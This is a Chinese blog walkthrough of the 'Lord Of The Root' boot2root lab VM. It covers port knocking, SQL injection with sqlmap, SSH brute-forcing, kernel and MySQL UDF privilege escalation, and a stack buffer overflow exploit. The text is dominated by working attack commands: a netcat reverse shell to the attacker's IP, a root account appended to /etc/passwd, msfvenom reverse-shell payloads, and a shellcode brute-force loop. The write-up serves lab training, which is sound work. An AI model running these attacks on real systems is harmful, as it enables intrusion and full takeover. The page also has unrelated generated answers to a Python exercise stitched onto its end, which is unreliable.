红队渗透测试之Lord Of The Root——缓冲区溢出

简介

该项目是KookSec作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到信息收集->端口碰撞->SQL注入&SSH爆破->内网信息枚举->EXP内核提权/Mysql UDF提权/缓冲区溢出->提权,最终拿到flag.txt的过程,那么在这当中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

1. nmap信息收集

首先对靶机所在网段进行扫描存活IP

nmap 192.168.27.0/24 -sP

2. nmap全端口扫描

nmap -p- 192.168.27.193 

用nmap进行全端口扫描

只有22端口开放

使用nmap进行进一步信息收集

nmap -sS -sV -A -p22 -T5 192.168.27.193

3. 尝试SSH登录

ssh 192.168.27.193

输入yes之后显示

Easy as 1,2,3

意思是让敲震端口3次

4. 端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防止攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

  1. 第一种方法:knock 命令

linux安装:

sudo apt install knockd

使用:

knock <IP><PORT1><PORT2><PORT3><PORT4>-v

例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:

knock 192.168.27.193 1 2 3 -v

hping3:TCP/IP数据包组装/分析工具

hping3 -S [IP地址] -p 1 -c 1

hping3 -S 192.168.27.193 -p 1 -c 1
hping3 -S 192.168.27.193 -p 2 -c 1
hping3 -S 192.168.27.193 -p 3 -c 1

-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

-p --destport: 目的端口(默认为0),可同时指定多个端口

-c --count:指定数据包的次数

敲震三次后重新进行全端口扫描

nmap -p- 192.168.27.193 

发现了1337端口

5. 信息枚举

有完成敲击的机器才可以访问到1337

发现只有一张图片,并且源码中也没有包含什么信息

尝试访问robots.txt,一般情况下要对这个进行查看

http://192.168.27.193:1337/robots.txt

发现一串字符,感觉像是base64

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

直接在kali里尝试解密

echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

发现还是base64继续转码:

echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d        

/978345210/index.php

发现目录!

6. SQL注入

登陆点可以尝试SQL注入或者暴力破解

直接尝试sqlmap

sqlmap -u http://192.168.27.193:1337/978345210/index.php

Optimization

-o:开启所有优化开关

--predict-output:预测常见的查询输出

--keep-alive:使用持久的HTTP(S)连接

--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数

--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试

建议我们添加 --forms 参数进行再次尝试,参数的意思是将页面内所有能触发的点都去进行尝试

sqlmap -u http://192.168.27.193:1337/978345210/index.php --forms

存在SQL注入,获取数据库

sqlmap -u http://192.168.27.193:1337/978345210/index.php --forms -dbs

尝试直接sqlmap拿shell --os-shell

sqlmap -u http://192.168.27.193:1337/978345210/index.php --forms --os-shell

写入失败,可能是底层做了限制,那就只能暴库了

刚才爆出的4个库

[*] information_schema

[*] mysql

[*] performance_schema

[*] Webapp

有三个都是默认自带的,所以我们查看Webapp

sqlmap -o -u http://192.168.27.193:1337/978345210/index.php --forms -dbs -D Webapp --tables

表名Users

爆破数据库表字段信息

sqlmap -o -u http://192.168.27.193:1337/978345210/index.php --forms -D Webapp -T Users --columns

(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

可看到数据库Webapp的表Users中存在字段id,password,username信息!

爆破字段内容信息

sqlmap -o -u http://192.168.27.193:1337/978345210/index.php --forms -D Webapp -T Users --columns -C id,username,password --dump

(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、--dump:导出列里面的字段)

获得用户名密码

+----+----------+------------------+

| id | username | password |

+----+----------+------------------+

| 1 | frodo | iwilltakethering |

| 2 | smeagol | MyPreciousR00t |

| 3 | aragorn | AndMySword |

| 4 | legolas | AndMyBow |

| 5 | gimli | AndMyAxe |

+----+----------+------------------+

7. SSH爆破-MSF、Hydra

Hydra爆破

将爆破出来的账号密码分别放进一个文本文档,然后进行爆破SSH尝试

hydra -L user.txt -P pass.txt 192.168.27.193 ssh

爆破出一个可以SSH登录的账号密码

login: smeagol password: MyPreciousR00t

ssh smeagol@192.168.27.193`    然后输入密码    `MyPreciousR00t

SSH可以成功登录

并且顺带看到,这个账户不允许sudo提权

MSF爆破

msfconsole
search ssh_login

进入msf然后查找ssh登录的模块

使用ssh_login模块,显示需要用到的参数

use auxiliary/scanner/ssh/ssh_login

USER_FILE 用户本

PASS_FILE 密码本

USERNAME 单个用户

PASSWORD 单个密码

STOP_ON_SUCCESS 爆破成功后会自动登录,并且反弹shell回来

set rhosts 192.168.27.193
set user_file /root/Desktop/6/user.txt
set pass_file /root/Desktop/6/pass.txt
set stop_on_success true

run运行

爆破完成后返回了用户密码,以及权限信息,还有版本信息,并且回弹了shell

sessions -i

8. SSH登录

ssh smeagol@192.168.27.193
MyPreciousR00t

在kali开启http服务,下载sh脚本,赋予权限并运行

python -m SimpleHTTPServer 80 
wget http://192.168.27.193:80/linpeas.sh 
chmod +x linpeas.sh
./linpeas.sh

对枚举出的信息进行排查

存在linux版本漏洞

上面的三个文件有问题,存在缓冲区溢出

查看数据库信息

dpkg -l | grep mysql

Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

9. EXP内核提权

查看linux版本信息

lsb_release -a

谷歌搜索:Ubuntu 14.04 exploit

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) - Linux local Exploit

在kali上查找39166,定位位置,并且复制出来

searchsploit 39166
locate linux/local/39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/6/

直接下载就能用,编译没有任何参数,全程没有任何warning执行脚本,原地飞升root。

是用gcc编译的,目标机器上存在gcc

直接开启http服务,传到目标机器上

gcc 39166.c -o YLion

授予权限,然后运行

chmod +x YLion
./YLion

提权成功

可以看到root目录下存在一个py文件

内容是对缓冲区溢出的一个防护,存在缓冲区溢出的文件会在这三个文件中变来变去

10. CVE-2021-4034提权

将exp传到目标机上

wget http://192.168.27.187:80/2021-4034exploit.c 
gcc 2021-4034exploit.c -o tq
chmod +x tq
./tq

11. Mysql UDF提权

首先我们需要指定mysql账号密码,我们进入/var/www/的目录下,查找password

grep "password" -rn

login.php中有password信息,所以直接在login.php中搜索root

grep "root" -rn 978345210/login.php

root/darkshadow

然后查看一下mysql信息

ps aux | grep mysql

是以root运行的,满足条件

登录mysql

mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:

show global variables like 'secure%';

secure_dile_priv是空值,可以进行UDF提权

查看插件目录:

show variables like '%plugin%';

插件目录在:/usr/lib/mysql/plugin/

查看能否远程登陆:

use mysql;
select user,host from user;

只能本地登录!

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:

类型 大小(单位:字节)

TinyBlob 最大 255

Blob 最大 65K

MediumBlob 最大 16M

LongBlob 最大 4G

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys: 还有 do_system

sys_eval,执行任意命令,并将输出返回

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

查找脚本

locate lib_mysqludf_sys

x86系统,选择框中的那一行

复制出来,并且重命名一个简单的名字

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/Desktop/6/
mv lib_mysqludf_sys_32.so YLion.so

将脚本上传到目标机,我传到了/tmp/目录下

然后进入数据库

mysql -uroot -pdarkshadow
use mysql

然后使用mysql数据库,并且创建一个表

create table YLion(YLion longblob);

写入内容

insert into YLion values (load_file('/tmp/YLion.so'));

select * from YLion into dumpfile '/usr/lib/mysql/plugin/YLion.so';

将我们刚写入的内容,生成到插件目录下的YLion.so

create function sys_exec returns string soname 'YLion.so';

(sys_exec可以平替为sys_eval)

select * from mysql.func;

select sys_exec('chmod u+s /usr/bin/find');

(sys_exec要上下对应)

将find提升到最高权限,退出数据库exit

find就可以执行任何命令

find / -exec '/bin/sh' \;

拓展知识点:或者利用sys_exec、sys_eval

select sys_exec('nc -nv 192.168.27.187 6677 -e /bin/bash');

openssl passwd YLion

YpIR51FecR9AY

select sys_exec('echo "YLion:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');

12. 缓冲区溢出

缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

方法一

/SECRET/door2/file

/SECRET/door1/file

/SECRET/door3/file

之前枚举到这三个文件中含有缓冲区溢出,root目录下还有防护策略

ls -lahR

可以看到SECRET目录下的三个子目录,里面各有一个file

注意,间隔了几分钟后,我们再次查看,发现文件大小发生了变化

一开始door3中的file大小为5.1k

现在door2中的file为5.1k

同时使用ldd命令查看file ldd(查看依赖情况)

在不断发生变化

这个是因为存在一个防护机制ASLR

我们查看ASLR设置

cat /proc/sys/kernel/randomize_va_space

或者

sysctl -a --pattern randomize

返回2

0 = 关闭

1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)

2 = 全随机。除了1中所述,还有heap。

如果没有设置ASLR的话,ldd看到的值也都是固定的

注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大

绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来

现在的情况就是,缓冲区溢出的文件随机,空间也随机

对于溢出来说,有几个点:

  1. 首先,溢出的点在哪里(偏移量/溢出值)

  2. 溢出后,后面的空间有多大,放合适的恶意代码进去

  3. 绕过安全保护机制

首先我们找到那个5.1k的file,然后把他搞到kali里面

我这里直接base64编码复制出来

base64 file

放到本地的一个文本中,并且复原成file

cat base64.txt | base64 -d > file

此时在确定file是5.1k的情况下查看md5值,与kali里的进行对比

确认两个值一致,然后我们开始分析这个file

使用GDB进行分析!下面两个插件比较好用

安装pwndbg

记得更新kali源:kali更新源(源、软件更新,附kali源)_阿南-anan的博客-CSDN博客_kali源

source /root/Desktop/6/pwndbg/gdbinit.py

git clone https://github.com/pwndbg/pwndbg 
cd pwndbg
sudo ./setup.sh

这里一定要更新源,在用代理更新下载!如果要修改就执行:

vi ~/.gdbinit---用哪个就注释即可

安装peda

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

调试file

我们现在测试一些file到底是否存在溢出

授予权限并尝试执行

chmod +x file

显示给一个值

./file aaaaaaaaaaaaa

回显正常,把值加大

./file $(python -c 'print "A" * 2000')

回显段错误

查找一个脚本

locate pattern_

这两个脚本是专门用作缓冲区溢出查找偏移量的

生成1000位值

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

使用GDB执行值

run就是执行

gdb file
run Aa0A.........

这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置

0x41376641 in ?? ()

查看到错误点在41376641

分析错误点判断偏移量

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

在171的位置

尝试在偏移量171溢出后情况

r $(python -c 'print "A" * 171 + "B" * 4')

在溢出后的位置写入BBBB

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。

可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

Nop空间测试ESP

由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来

run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')

写入171个A之后,写入4个B,之后写入90

ESP就是我们溢出之后执行shellcode的地方

x/s $esp

0xffffc810: '\220' <repeats 200 times>...

这时候ESP变了,指向了ffffc810地址,这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell,那么接下来就是要爆破

nop sled被访问。

恶意payload

peda help shellcode–-- 关于 shellcode 的帮助

shellcode search exec–-- 如何使用 'exec' 搜索所有 shellcode

我们这里使用841

shellcode display 841–-- 显示找到的代码的来源

上面的部分是注释,下面的部分是代码

shellcode generate x86/linux exec--– 生成代码

shellcode = (

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"

"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

)

检查文件是否做了安全措施:

checksec

这个就是ESP的地址,注意要倒序

0x ffffc860

ff ff c8 60

\x60\xc8\xff\xff

增加nop sled被访问机会

可以增加10000....

run $(python -c 'print "A" * 171 + "\x60\xc8\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

可以拿到一个shell

for循环爆破找nop碰撞执行shell

for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\xa0\x64\x8b\xbf" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done

如果文件在几分钟后随机变动了,不在该目录底下,在没有for循环nop拿到shell后,又得跑到溢出file的目录下载执行一次for,很麻烦!

方法二

缓冲区溢出流程

缓冲区溢出流程_维基人的博客-CSDN博客_缓冲区溢出过程

进入door1,只有file文件,尝试分析猜测文件

objdump -d --no-show-raw-insn file ---查看可执行函数的十六进制显示file

strings file

查看door2,door3目录,都只有file文件,但是分析时发现door2下的file存在strcpy!

参考百度百科熟悉strcpy:

缓冲区溢出_百度百科

缓冲区溢出详解_weixin_30709635的博客-CSDN博客

msf生成1000字符串,使用gdb调试

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

gdb file

run ....

查找溢出位置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

溢出位置为171!验证下eip的内容!

如果存在溢出,肯定要写入恶意代码,那么有没有写入的权限程序,往下查看!

vmmap查看信息 栈溢出

STACK:栈,用来保存函数运行时的临时变量等

HEAP:堆,一般是主动编写代码来分配和回收堆内存

CODE: 代码段,是用来存放代码的

DATA:数据段,一般用来存放全局变量

参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/

验证EIP

r $(python -c 'print "A"171 + "B"4 + "C"*20')

验证ESP

x/20b $esp

存在c的,那么确认坏字符!

确认坏字符

缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00

现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:

---------

#!/usr/bin/env python

from futureimport print_function

for x in range(1, 256):

print("\x" + "{:02x}".format(x), end='')

print()

---------

r $(python -c 'print "A"171 + "B"4 + ""')

x/256x $esp ---如果出问题就x和b换用

能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:

好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。

注意:这一定要仔细看,因为看少了看错了都会导致msf的payload执行不成功!

重新来,去掉0x09、0x0a和0x20:

坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00)

msf生成payload

-----------

windows:

msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v

Linux:

msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c

linux2:

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

payload:

-a 框架选择

-p 载荷类型

LHOST 本机地址

LPORT

-b 坏字符

-e 要使用的编码器

-f 编译的语言

-c 指定要包含的附加 win32 shellcode 文件

-v 载荷的名称

------------

查看jmp

最后需要看看是否有调用jmp到es(因为我们无法控制 eax),查看能够更好的控制漏洞利用的过程,防止不成功。

objdump -D file | grep -P 'jmp|call' | grep esp

回显esp,不需要jmp做跳板到shellcode,接下来绕过就是用大量的nop即可!

bash执行shell

"\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"

------

0xbf96b590

bf 96 b5 90

\x90\xb5\x96\xbf

#!/bin/bash

while true; do

$(find /SECRET -type f -size 5150c) $(python -c 'print "A"171 + "\x90\xb5\x96\xbf" + "\x90"20000 + "\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"') 2> /dev/null

sleep 1

done

ls -la ---查看文件大小

-size ---表示文件大小

-type ---文件类型

f 普通文件

-------

wget http://10.211.55.19:8081/exp.sh

chmod +x exp.sh

./exp.sh

成功!!!

总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、端口碰撞、SSH端口爆破、SQL注入、EXP内核提权、Mysql UDF提权、缓冲区溢出等等,希望伙伴们能实际操作复现一遍,不要眼高手低!巩固自身的渗透技术和技巧!

最后

希望大家提高安全意识,没有网络安全就没有国家安全!

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 1. 将列表按照字母顺序排序并输出。 2. 在列表末尾添加一部新电影'avatar',并输出新列表。 3. 输出列表中第3部电影的名称。 4. 将列表中第2部电影的名称改为'titanic',并输出新列表。 5. 删除列表中第1部电影的名称,输出新列表。 6. 输出列表中电影的总数。 7. 将列表转换为元组,并输出。 程序如下: ```python ls = ['the lord of the rings','anaconda','legally blonde','gone with the wind'] # 1. 将列表按照字母顺序排序并输出。 ls.sort() print(ls) # 2. 在列表末尾添加一部新电影'avatar',并输出新列表。 ls.append('avatar') print(ls) # 3. 输出列表中第3部电影的名称。 print(ls[2]) # 4. 将列表中第2部电影的名称改为'titanic',并输出新列表。 ls[1] = 'titanic' print(ls) # 5. 删除列表中第1部电影的名称,输出新列表。 del ls[0] print(ls) # 6. 输出列表中电影的总数。 print(len(ls)) # 7. 将列表转换为元组,并输出。 tup = tuple(ls) print(tup) ``` 输出结果如下: ``` ['anaconda', 'gone with the wind', 'legally blonde', 'the lord of the rings'] ['anaconda', 'gone with the wind', 'legally blonde', 'the lord of the rings', 'avatar'] legally blonde ['anaconda', 'titanic', 'legally blonde', 'the lord of the rings', 'avatar'] ['titanic', 'legally blonde', 'the lord of the rings', 'avatar'] 4 ('titanic', 'legally blonde', 'the lord of the rings', 'avatar') ``` ### 回答2: 题目要求实现以下功能: - 输出列表 ls 中所有电影的名字,且首字母大写(title case)。 - 添加电影名字 "titanic" 到列表 ls 中。 - 从列表 ls 中删除电影名字 "anaconda"。 - 根据用户输入的电影名字,判断该电影名字是否在列表 ls 中。 为了实现以上功能,我们可以分别使用 Python 的内置函数和列表方法。针对每一个功能,我们可以采用以下方法实现: 1. 输出列表中所有电影名字 在 Python 中,我们可以使用 for 循环遍历列表中的每个元素,并利用字符串的 title() 方法将其首字母转为大写。具体实现: ``` for movie in ls: print(movie.title()) ``` 2. 添加电影名字 "titanic" 到列表 ls 中 对于添加元素至列表的操作,我们可以使用 append() 方法。具体实现: ``` ls.append('titanic') ``` 3. 从列表 ls 中删除电影名字 "anaconda" 对于删除元素的操作,我们可以使用 remove() 方法。具体实现: ``` ls.remove('anaconda') ``` 4. 根据用户输入的电影名字,判断该电影名字是否在列表 ls 中 在判断某个元素是否在列表中时,我们可以使用 in 运算符。具体实现: ``` movie_name = input('请输入电影名字:') if movie_name in ls: print('该电影在列表中') else: print('该电影不在列表中') ``` 实现以上代码后,我们就可以方便地实现题目所要求的功能啦! ### 回答3: 要求用户输入一个字符串作为搜索关键字,并在现有列表中查找包含该关键字的电影名称。如果找到电影名称,则将其打印在屏幕上,否则显示未找到该电影。 首先,我们需要编写一个函数来处理用户输入。该函数应该提示用户输入一个字符串,并返回该字符串。 ```python def get_input(): return input("请输入搜索关键字:") ``` 接下来,我们需要编写一个函数来查找电影名称。该函数应该接受一个关键字,遍历现有列表中的每个电影名称,并返回包含该关键字的电影名称。如果没有找到任何电影名称,则返回 None。 ```python def search_movies(keyword): for movie in ls: if keyword.lower() in movie.lower(): return movie return None ``` 最后,我们需要编写一个主函数来调用其他两个函数,并显示搜索结果。 ```python def main(): keyword = get_input() movie = search_movies(keyword) if movie: print("找到电影:", movie) else: print("未找到该电影。") if __name__ == "__main__": main() ``` 这样,我们就可以输入一个关键字,程序将扫描现有列表并返回包含该关键字的电影名称。这种方法可以轻松地扩展到更大的电影数据库,只需简单地修改现有列表即可。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值